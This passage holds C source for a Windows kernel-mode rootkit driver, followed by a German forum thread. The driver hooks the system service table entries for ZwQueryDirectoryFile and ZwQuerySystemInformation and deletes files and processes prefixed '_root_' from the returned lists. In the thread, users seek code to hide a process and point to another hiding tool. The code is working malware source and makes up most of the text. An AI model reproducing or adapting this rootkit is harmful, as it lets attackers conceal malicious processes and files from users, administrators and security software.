    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    WCHAR FileName[1];
} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    LARGE_INTEGER CreationTime;
    LARGE_INTEGER LastAccessTime;
    LARGE_INTEGER LastWriteTime;
    LARGE_INTEGER ChangeTime;
    LARGE_INTEGER EndOfFile;
    LARGE_INTEGER AllocationSize;
    ULONG FileAttributes;
    ULONG FileNameLength;
    ULONG EaSize;
    CCHAR ShortNameLength;
    WCHAR ShortName[12];
    LARGE_INTEGER FileId;
    WCHAR FileName[1];
} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {
    ULONG NextEntryOffset;
    ULONG FileIndex;
    ULONG FileNameLength;
    WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

NTSYSAPI
NTSTATUS
NTAPI
ZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
);

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength);

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(
    HANDLE hFile,
        HANDLE hEvent,
        PIO_APC_ROUTINE IoApcRoutine,
        PVOID IoApcContext,
        PIO_STATUS_BLOCK pIoStatusBlock,
        PVOID FileInformationBuffer,
        ULONG FileInformationBufferLength,
        FILE_INFORMATION_CLASS FileInfoClass,
        BOOLEAN bReturnOnlyOneEntry,
        PUNICODE_STRING PathMask,
        BOOLEAN bRestartQuery
);

typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
            ULONG SystemInformationCLass,
                        PVOID SystemInformation,
                        ULONG SystemInformationLength,
                        PULONG ReturnLength
);

ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;
ZWQUERYDIRECTORYFILE            OldZwQueryDirectoryFile;


/* Find the offset of the process name within the executive process
   block.  We do this by searching for the first occurance of "System"
   in the current process when the device driver is loaded. */

void GetProcessNameOffset()
{
  PEPROCESS curproc = PsGetCurrentProcess();
  int i;
  for( i = 0; i < 3*PAGE_SIZE; i++ ) 
    {
      if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
     {
       gProcessNameOffset = i;
     }
    }
}

/* Copy the process name into the specified buffer.  */

BOOL GetProcessName( PCHAR theName )
{
  PEPROCESS       curproc;
  char            *nameptr;
  ULONG           i;
  KIRQL           oldirql;

  if( gProcessNameOffset ) 
    {
      curproc = PsGetCurrentProcess();
      nameptr   = (PCHAR) curproc + gProcessNameOffset;
      strncpy( theName, nameptr, NT_PROCNAMELEN );
      theName[NT_PROCNAMELEN] = 0; /* NULL at end */
      return TRUE;
    } 
  return FALSE;
}

/* Given a directory entry, return the next
   directory entry in the linked list. */

DWORD getDirEntryLenToNext( 
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        DWORD result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileFullDirectoryInformation:
                        result = ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdFullDirectoryInformation:
                        result = ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileBothDirectoryInformation:
                        result = ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileIdBothDirectoryInformation:
                        result = ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
                case FileNamesInformation:
                        result = ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset;
                        break;
        }
        return result;
}

/* Given two directory entries, link them together in a list. */

void setDirEntryLenToNext( 
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass,
                IN DWORD value
)
{
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        ((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileFullDirectoryInformation:
                        ((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdFullDirectoryInformation:
                        ((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileBothDirectoryInformation:
                        ((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileIdBothDirectoryInformation:
                        ((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
                case FileNamesInformation:
                        ((PFILE_NAMES_INFORMATION)FileInformationBuffer)->NextEntryOffset = value;
                        break;
        }
}
        
/* Return the filename of the specified directory entry. */

PVOID getDirEntryFileName( 
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        PVOID result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileFullDirectoryInformation:
                        result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdFullDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileBothDirectoryInformation:
                        result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileIdBothDirectoryInformation:
                        result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
                case FileNamesInformation:
                        result =(PVOID)&((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileName[0];
                        break;
        }
        return result;
}

/* Return the length of the filename of the specified directory
   entry. */

ULONG getDirEntryFileLength( 
                IN PVOID FileInformationBuffer,
        IN FILE_INFORMATION_CLASS FileInfoClass
)
{
        ULONG result = 0;
        switch(FileInfoClass){
                case FileDirectoryInformation:
                        result = (ULONG)((PFILE_DIRECTORY_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileFullDirectoryInformation:
                        result =(ULONG)((PFILE_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdFullDirectoryInformation:
                        result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileBothDirectoryInformation:
                        result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileIdBothDirectoryInformation:
                        result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
                case FileNamesInformation:
                        result =(ULONG)((PFILE_NAMES_INFORMATION)FileInformationBuffer)->FileNameLength;
                        break;
        }
        return result;
}

/* NT's ZwQueryDirectoryFile() returns a a linked list of directory
   entries.  The function below imitates it, except it removes from
   the list any entry who's name begins with "_root_". */

NTSTATUS NewZwQueryDirectoryFile(
        IN HANDLE hFile,
        IN HANDLE hEvent OPTIONAL,
        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
        IN PVOID IoApcContext OPTIONAL,
        OUT PIO_STATUS_BLOCK pIoStatusBlock,
        OUT PVOID FileInformationBuffer,
        IN ULONG FileInformationBufferLength,
        IN FILE_INFORMATION_CLASS FileInfoClass,
        IN BOOLEAN bReturnOnlyOneEntry,
        IN PUNICODE_STRING PathMask OPTIONAL,
        IN BOOLEAN bRestartQuery
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
                
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQueryDirectoryFile() from %s\n", aProcessName);

        rc=((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile)) (
                        hFile,                                                  /* this is the directory handle */
                        hEvent,
                        IoApcRoutine,
                        IoApcContext,
                        pIoStatusBlock,
                        FileInformationBuffer,
                        FileInformationBufferLength,
                        FileInfoClass,
                        bReturnOnlyOneEntry,
                        PathMask,
                        bRestartQuery);

        if( NT_SUCCESS( rc ) && 
                (FileInfoClass == FileDirectoryInformation ||
                 FileInfoClass == FileFullDirectoryInformation ||
                 FileInfoClass == FileIdFullDirectoryInformation ||
                 FileInfoClass == FileBothDirectoryInformation ||
                 FileInfoClass == FileIdBothDirectoryInformation ||
                 FileInfoClass == FileNamesInformation )
                ) 
        {
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected file/directory query from _root_ process\n");
                }
                else
                {
                        PVOID p = FileInformationBuffer;
                        PVOID pLast = NULL;
                        BOOL bLastOne;
                        do 
                        {
                                bLastOne = !getDirEntryLenToNext(p,FileInfoClass);
                                
                                // compare directory-name prefix with '_root_' to decide if to hide or not.

                                if (getDirEntryFileLength(p,FileInfoClass) >= 12) {
                                        if( RtlCompareMemory( getDirEntryFileName(p,FileInfoClass), (PVOID)"_\0r\0o\0o\0t\0_\0", 12 ) == 12 ) 
                                        {
                                                if( bLastOne ) 
                                                {
                                                        if( p == FileInformationBuffer ) rc = 0x80000006;
                                                        else setDirEntryLenToNext(pLast,FileInfoClass, 0);
                                                        break;
                                                } 
                                                else 
                                                {
                                                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;
                                                        int iLeft = (DWORD)FileInformationBufferLength - iPos - getDirEntryLenToNext(p,FileInfoClass);
                                                        RtlCopyMemory( p, (PVOID)( (char *)p + getDirEntryLenToNext(p,FileInfoClass) ), (DWORD)iLeft );
                                                        continue;
                                                }
                                        }
                                }
                                pLast = p;
                                p = ((char *)p + getDirEntryLenToNext(p,FileInfoClass) );
                        } while( !bLastOne );
                }
        }
        return(rc);
}

/* NT's ZwQuerySystemInformation() returns a linked list of processes.
   The function below imitates it, except it removes from the list any
   process who's name begins with "_root_". */

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
                        IN PVOID SystemInformation,
                        IN ULONG SystemInformationLength,
                        OUT PULONG ReturnLength
)
{
        NTSTATUS rc;
        CHAR aProcessName[PROCNAMELEN];
                
        GetProcessName( aProcessName );
        DbgPrint("rootkit: NewZwQuerySystemInformation() from %s\n", aProcessName);

        rc = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
                        SystemInformationClass,
                        SystemInformation,
                        SystemInformationLength,
                        ReturnLength );

        if( NT_SUCCESS( rc ) ) 
        {
                // double check the process name, if it starts w/ '_root_' DO NOT
                // apply any stealth
                if(0 == memcmp(aProcessName, "_root_", 6))
                {
                        DbgPrint("rootkit: detected system query from _root_ process\n");
                }
                else if( 5 == SystemInformationClass )
                {
                        // this is a process list, look for process names that start with
                        // '_root_'
                        struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
                        struct _SYSTEM_PROCESSES *prev = NULL;
                        while(curr)
                        {       
                                //struct _SYSTEM_PROCESSES *next = ((char *)curr += curr->NextEntryDelta);
                                
                                ANSI_STRING process_name;
                                RtlUnicodeStringToAnsiString( &process_name, &(curr->ProcessName), TRUE);
                                if( (0 < process_name.Length) && (255 > process_name.Length) )
                                {
                                        if(0 == memcmp( process_name.Buffer, "_root_", 6))
                                        {
                                                //////////////////////////////////////////////
                                                // we have a winner!
                                                //////////////////////////////////////////////
                                                char _output[255];
                                                char _pname[255];
                                                memset(_pname, 0, 255);
                                                memcpy(_pname, process_name.Buffer, process_name.Length);

                                                sprintf(        _output, 
                                                                        "rootkit: hiding process, pid: %d\tname: %s\r\n", 
                                                                        curr->ProcessId, 
                                                                        _pname);
                                                DbgPrint(_output);

                                                if(prev)
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // make prev skip this entry
                                                                prev->NextEntryDelta += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are last, so make prev the end
                                                                prev->NextEntryDelta = 0;
                                                        }
                                                }
                                                else
                                                {
                                                        if(curr->NextEntryDelta)
                                                        {
                                                                // we are first in the list, so move it forward
                                                                (char *)SystemInformation += curr->NextEntryDelta;
                                                        }
                                                        else
                                                        {
                                                                // we are the only process!
                                                                SystemInformation = NULL;
                                                        }
                                                }
                                        }
                                }
                                RtlFreeAnsiString(&process_name);
                                prev = curr;
                                if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
                                else curr = NULL;
                        }
                }
        }
        return(rc);
}

/* This device driver doesn't service I/O requests, so we provide only
   a dummy I/O dispatch routine. */

NTSTATUS
OnStubDispatch(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP           Irp
    )
{
    Irp->IoStatus.Status      = STATUS_SUCCESS;
    IoCompleteRequest (Irp,
                       IO_NO_INCREMENT
                       );
    return Irp->IoStatus.Status;
}

/* Upon unloading this device driver, restore NT's original directory
   and process query functions. */

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
        DbgPrint("ROOTKIT: OnUnload called\n");

        // unhook system calls
        _asm cli
        (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))     =OldZwQueryDirectoryFile;
        (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;
        _asm sti
}

/* Upon loading this device driver, 1) establish the offset of process
   names within the process block, 2) register the I/O and unload
   handlers, and 3) substitue the directory and process query
   functions with our stealthy imitations. */

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  int i;

  DbgPrint("My Driver Loaded!");

  GetProcessNameOffset();

  // Register a dispatch function
  for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) 
    {
      theDriverObject->MajorFunction[i] = OnStubDispatch;
    }

  theDriverObject->DriverUnload  = OnUnload; 

  // save old system call locations
  OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
  OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

  // hook system calls
  _asm cli
    (ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
  (ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;
  _asm sti
                                
    return STATUS_SUCCESS;
}



nun wollt ihr da alles um schreiben oder was?
Luckie
Ehemaliges Mitglied
Erhaltene Danke: 1



BeitragVerfasst: Di 30.03.04 13:47 
Wieso wir? Du suchst doch Code, um einen Prozess unter NT ff. zu verstecken. :roll:

BTW kannst du Beispiel 3 vergessen. So wie es aussieht benzut der Code das DDK (-> include "ntddk.h") Und Treiber sind mit Delphi nicht möglich.
scrooge
ontopic starontopic starontopic starontopic starontopic starontopic starofftopic starofftopic star
Beiträge: 200



BeitragVerfasst: Di 30.03.04 15:18 
Guck mal (ist allerdings Assembler) auf Assrabad's Seite nach Links (unter Assembler empfiehlt er zwei besonders. Auf einer der beiden ist die Datei). Sie heißt "Invisibility". Weiß nicht, ob er funktioniert (da fehlen mir dann doch wieder die nötigen Kenntnisse), doch das Programm verspricht jedenfalls Prozesse unter WinXP etc verstecken zu können. Vielleicht hilfts ja.
Motzi
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 2931

XP Prof, Vista Business
D6, D2k5-D2k7 je Prof
BeitragVerfasst: Di 30.03.04 15:29 
Ich hab das jetzt nur mal so ein bisschen überflogen, aber soweit ich das seh hängt sich Version 1 nur zwischen die Toolhelp-APIs.. aber zb EnumProcesses aus den PSAPIs wird komplett außer acht gelassen und die WMI-Variante auch...

_________________
gringo pussy cats - eef i see you i will pull your tail out by eets roots!
scrooge
ontopic starontopic starontopic starontopic starontopic starontopic starofftopic starofftopic star
Beiträge: 200



BeitragVerfasst: Di 30.03.04 19:23 
Was du verstehst das ?? *Bewunderung* (ich wie gesagt leider nicht. Die Hälfte der Befehle kenn ich nocht nichmal, so ungefähr)).
Kennst du (wenns recht ist, jetzt kein Verweis darauf, dass ich ein neus Thema anfangen müsste :? ) wirklich gute Bücher über Assembler (besonders die weiter unten angesprochene Sekundärliteratur (also Interupts,Kernel...). Hab Das assembler-Buch" von Trutz EIKE Podchun. Macht aber nicht viel Spaß zu lesen, da 1. unglaublich kompliziert (wie ich auch nach den Kauf erfahren habe ein Buch für Profis (oder Fortgeschrittene) :x)c un 2. gibts jede 2. Seite etliche Verweise auf Sekundärliteratur (gut alles kann auch nicht behandelt werden, aber immer anscheniden ??). Zudem gibt es auch oft Stellen, wo einfach ein Schlussstrich gezogen wird, da der Autor anscheindend der meinugn ist, das Behandlen von etwas heiklen Sachen (Kernel, oder wie er es ausdrückt "alles mit dem Privileglevel < 3") automatiashc zu einer Flut von vandalierenden Script-Kiddies führt (daher wird der im Buch gar nicht behandelt).

Wäre sehr dankbar für ein Tipp.